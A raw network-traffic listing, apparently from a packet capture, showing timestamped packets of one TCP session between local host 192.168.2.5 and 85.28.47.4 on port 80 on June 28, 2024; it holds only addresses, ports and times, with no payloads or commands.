Jun 28, 2024 13:36:07.423563004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.424890995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.424923897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.424933910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.424945116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.424977064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425034046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425045013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425054073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425065994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425075054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425084114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425120115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425120115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425169945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425215006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425220966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425225019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425261974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425307035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425318003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425328970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425338030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425348043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.425350904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425385952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.425429106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511415005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511441946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511454105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511480093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511491060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511501074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511512041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511524916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511527061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511555910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511564970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511575937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511580944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511588097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511605024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511606932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511626959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511637926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511637926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511648893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511660099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511670113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511676073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511697054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511728048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.511739969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.511795044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512012005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512022972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512063026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512067080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512073994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512085915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512095928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512109995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512137890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512164116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512252092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512270927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512286901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512296915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512298107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512309074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512315989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512317896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512329102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512340069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512343884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512350082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512362003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512387037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512396097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512406111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512407064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512418032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512428045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512439013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512440920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512448072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512459040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512470007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512473106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512485027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512496948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512506962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512514114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512521029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512531042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512532949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512543917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512572050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512608051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512739897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512751102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512762070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512773037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512783051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512793064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512799025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512804985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512814999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512825012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512825012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512835026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512845993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512846947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512856007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512866974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512877941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512877941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512887955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512897968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512898922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.512917042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512933016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.512958050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513016939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513071060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513082027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513092995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513104916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513114929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513120890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513125896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513138056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513138056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513149023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513160944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513183117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513206005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513329029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513340950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513351917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513362885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513372898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513380051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513385057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513396025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513398886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513406038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513417959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513423920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513452053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513478994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513653994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513674974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513685942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513695955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513703108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513706923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513717890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513724089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513730049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513741016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513744116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513751984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513762951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513772964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513782024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513783932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513794899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513802052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513842106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513927937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513940096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513950109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513961077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513972044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513978004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.513982058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513993979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.513994932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.514004946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.514014959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.514030933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.514061928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515314102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515325069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515332937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515368938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515386105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515396118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515407085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515427113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515445948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515455961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515482903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515523911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515535116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515543938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515573978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515605927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515625954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515635967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515645981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515669107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515671968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515678883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.515705109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.515732050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602319002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602334976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602346897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602411032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602421999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602427959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602432966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602442980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602469921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602493048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602543116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602552891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602562904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602572918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602582932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602590084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602592945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602610111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602633953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602787018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602797031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602807045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602818012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602828026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602829933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602838039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602854013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602858067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602864027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602874041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602880001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602884054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602894068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.602909088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.602937937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603024960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603037119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603045940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603069067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603076935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603089094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603099108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603101969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603108883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603118896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603130102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603138924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603138924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603159904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603185892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603250027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603260994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603287935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603321075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603463888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603476048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603485107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603494883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603504896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603507996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603514910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603523970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603533983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603543043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603543997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603554010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603564024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603569984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603573084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603583097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603593111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603598118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603604078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603621006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603645086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603811979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603821039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603831053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603842020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603852034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603857994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603863001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603889942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603921890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603945017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603955030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603964090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603975058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603987932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.603988886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.603998899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604011059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604021072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604022980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604031086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604041100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604043961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604052067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604068995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604093075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604262114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604273081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604281902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604293108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604302883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604305983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604325056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604346991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604433060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604444027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604453087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604463100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604471922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604473114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604486942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604496956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604506016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604506969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604516983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604526997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604537010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604542971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604547024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604557037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604562998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604567051 CEST	80	49705	85.28.47.4	192.168.2.5
